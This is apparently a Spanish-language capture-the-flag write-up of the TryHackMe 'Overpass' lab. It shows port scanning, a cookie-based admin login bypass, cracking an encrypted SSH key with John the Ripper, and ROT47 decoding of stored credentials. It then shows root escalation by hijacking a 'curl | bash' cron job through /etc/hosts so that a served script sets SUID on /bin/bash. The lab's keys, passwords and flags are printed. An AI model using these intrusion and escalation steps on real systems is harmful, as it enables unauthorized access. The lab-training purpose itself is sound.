Overpass

20/11/2021

Enumeration

Whatweb

```
whatweb  10.10.232.7
http://10.10.232.7 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.232.7], Script, Title[Overpass], X-UA-Compatible[IE=edge]
```

WhichSystem.py

mediante el tty, sabemos que es una maquina Linux

```
whichSystem.py  10.10.232.7
10.10.232.7 (ttl -> 61): Linux
```

nmap

```
sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn  10.10.232.7
```

```
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61
```

descubrimos dos puertos

lanzaremos scripts basicos de reconocimiento y detectar la version

```
sudo nmap -sC -sV -p22,80 10.10.232.7
```

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ademas de esto lanzaremos un reconocimiento de vulnerabilidades

```
sudo nmap --script=vuln -p21,80,2222 10.10.73.179
```

```
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-jsonp-detection:
| The following JSONP endpoints were detected:
|_/main.js
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-passwd: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
|   /admin.html: Possible admin folder
|   /css/: Potentially interesting folder
|   /downloads/: Potentially interesting folder
|_  /img/: Potentially interesting folder
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
```

no encontramos alguna vulnarabilidad

Gobuster

buscamos directorios

```
gobuster dir -u http://10.10.232.7 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py
```

```
/index.html          (Status: 301) [Size: 0] [--> ./]
/img                 (Status: 301) [Size: 0] [--> img/]
/login.js            (Status: 200) [Size: 1779]
/downloads           (Status: 301) [Size: 0] [--> downloads/]
/main.js             (Status: 200) [Size: 28]
/main.css            (Status: 200) [Size: 982]
/aboutus             (Status: 301) [Size: 0] [--> aboutus/]
/admin.html          (Status: 200) [Size: 1525]
/admin               (Status: 301) [Size: 42] [--> /admin/]
/css                 (Status: 301) [Size: 0] [--> css/]
/404.html            (Status: 200) [Size: 782]
/cookie.js           (Status: 200) [Size: 1502]
```

tenemos varios folders interesantes
nos vamos a descargas para que que podemos descargar
http://10.10.232.7/downloads/

tenemos dos archivo

buildscript.sh overpass.go

cat overpass.go

```
//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example

func rot47(input string) string {

    var result []string

    for i := range input[:len(input)] {

        j := int(input[i])

        if (j >= 33) && (j <= 126) {

            result = append(result, string(rune(33+((j+14)%94))))

        } else {

            result = append(result, string(input[i]))

        }

    }

    return strings.Join(result, "")

}
```

analisando el codigo, utiliza rot47 para cifrar los passwords, que nos puede servir

exploramos la carpeta admin

http://10.10.232.7/admin.html

tenemos un formulario vemos el codigo fuente

```
<!DOCTYPE html>
<html>

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>Overpass</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
  <link rel="stylesheet" type="text/css" media="screen" href="/css/login.css">
  <link rel="icon" type="image/png" href="/img/overpass.png" />
  <script src="/main.js"></script>
  <script src="/login.js"></script>
  <script src="/cookie.js"></script>
</head>

<body onload="onLoad()">
  <nav>
    <img class="logo" src="/img/overpass.svg" alt="Overpass logo">
    <h2 class="navTitle"><a href="/">Overpass</a></h2>
    <a class="current" href="/aboutus">About Us</a>
    <a href="/downloads">Downloads</a>
  </nav>
  <div class="content">
    <h1>Administrator area</h1>
    <p>Please log in to access this content</p>
    <div>
      <h3 class="formTitle">Overpass administrator login</h1>
    </div>
    <form id="loginForm">
      <div class="formElem"><label for="username">Username:</label><input id="username" name="username" required></div>
      <div class="formElem"><label for="password">Password:</label><input id="password" name="password"
```

```
                type="password" required></div>
            <button>Login</button>
        </form>
        <div id="loginStatus"></div>
    </div>
</body>

</html>
```

nos llama la atencion el archivo login.js y lo abrimos

Lo examinamos el codigo fuente

```
async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}

async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}
```

para poder acceder debemos de configurar la cookie para que nos de algun tipo de key y ademas de agregar un parametro = "algo"

procecedemos a configurar la cookie desde nuestra terminal

```
curl "http://10.10.232.7/admin/" --cookie "SessionToken=hi"
```

nos da un id_rsa

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
```

```
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----
```

ademas nos da una transcripcion junto con un posible username

Since you keep forgetting your password, James, I've set up SSH keys for you.
If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.
Also, we really need to talk about this "Military Grade" encryption. - Paradox

procecedemos a configurar la cookie desde el navegador
nos vamos a
http://10.10.232.7/admin/
abrimos la consola con F12

escribimos en la consola

```
Cookies.set("SessionToken","hi")
```

enter

recargamos la pagina y nos da la id_rsa

ingresamos al ssh

```
ssh -i id_rsa james@10.10.232.7 -p 22
```

nos pide un password pero no lo tenemos, lo que podemos realizar es un john th riper ssh

SSH John the riper

podemos realizar fuerza bruta para encontrar el password del ssh

```
python /usr/share/john/ssh2john.py id_rsa  > id_rsa_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash
```

```
james13          (id_rsa)
```

encontramos el password james13

Obteniendo acceso a usuario normal

ingresamos a puerto ssh

```
ssh -i id_rsa james@10.10.232.7 -p 22
password: james13
```

y tenemos exito

```
ls
todo.txt  user.txt
cat user.txt
```

obetenemos la bandera
thm{65c1aaf000506e56996822c6281e6bf7}

ademas encontramos otro archivo llamado todo.txt

```
cat todo.txt
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website
```

buscamos mas a fondo

```
ls -al
total 48
drwxr-xr-x 6 james james 4096 Jun 27  2020 .
drwxr-xr-x 4 root  root  4096 Jun 27  2020 ..
lrwxrwxrwx 1 james james    9 Jun 27  2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Jun 27  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27  2020 .bashrc
drwx------ 2 james james 4096 Jun 27  2020 .cache
drwx------ 3 james james 4096 Jun 27  2020 .gnupg
drwxrwxr-x 3 james james 4096 Jun 27  2020 .local
-rw-r--r-- 1 james james   49 Jun 27  2020 .overpass
-rw-r--r-- 1 james james  807 Jun 27  2020 .profile
```

```
drwx------ 2 james james 4096 Jun 27  2020 .ssh
-rw-rw-r-- 1 james james  438 Jun 27  2020 todo.txt
-rw-rw-r-- 1 james james   38 Jun 27  2020 user.txt
```

tenemos un archivo que nos llama la atencion .overpass

```
file .overpass
.overpass: ASCII text, with no line terminators
cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.
```

Encontramos un hash por lo que podemos desencriptar

nos vamos a
https://gchq.github.io/CyberChef/#recipe=ROT47(47)&input=LExRPzI%2BNlFpUSRKREU2PlFbUUEyRERRaVFEMko1QzJIPz1KOj84QTo0RUZDNlFOLg

escogemos
ROT47
[{"name":"System","pass":"saydrawnlyingpicture"}]

```
sudo -l
[sudo] password for james: saydrawnlyingpicture
Sorry, user james may not run sudo on overpass-prod.
```

Vemos que no tenemos permisos

Explotation

ahora buscamos algun tipo de escalada de privilegios
con linpeas

encontramos una posible tarea en cron
Cron jobs

```
* * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
```

y ademas podemos modificar el archivo
/etc/hosts

corremos el script

```
curl overpass.thm/downloads/src/buildscript.sh | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   495  100   495    0     0  49500      0 --:--:-- --:--:-- --:--:-- 49500
can't load package: package /home/james/src/overpass.go: import "/home/james/src/overpass.go": cannot import absolute path
bash: line 6: /root/buildStatus: Permission denied
```

nos dice que no se puede cargar el paquete de overpass.thm

vemos el archivo /etc/hosts
cat /etc/hosts

```
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1  overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

podemos ver que el overpass.thm tiene una ip propia

por lo que ahora vamos a modificar este archivo a nuestra ip

```
nano /etc/hosts
10.6.96.73 overpass.thm
```

en nuestra maquina creamos la dirección del curl

```
mkdir www
mkdir -p downloads/src/
cd downloads/src/
nano buildscript.sh
#!/bin/bash

chmod +s /bin/bash


cd ..
cd ..
pwd
www
```

nos vamos al la maquina objetivo y comprobamos los permisos de /bin/bash

```
ls -al /bin/bash
-rwxr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash
```

subimos el archivo creado

```
python3 -m http.server 80
```

volvemos a comprobar los permisos de /bin/bash

```
ls -al /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun  6  2019 /bin/bash
```

Obteniendo acceso a usuario root

ejecutamos el /bin/bash

```
/bin/bash -p
whoami
root
cd root/
ls
root.txt
cat root.txt
```

obetenemos la bandera

thm{7f336f8c359dbac18d54fdd64ea753bb}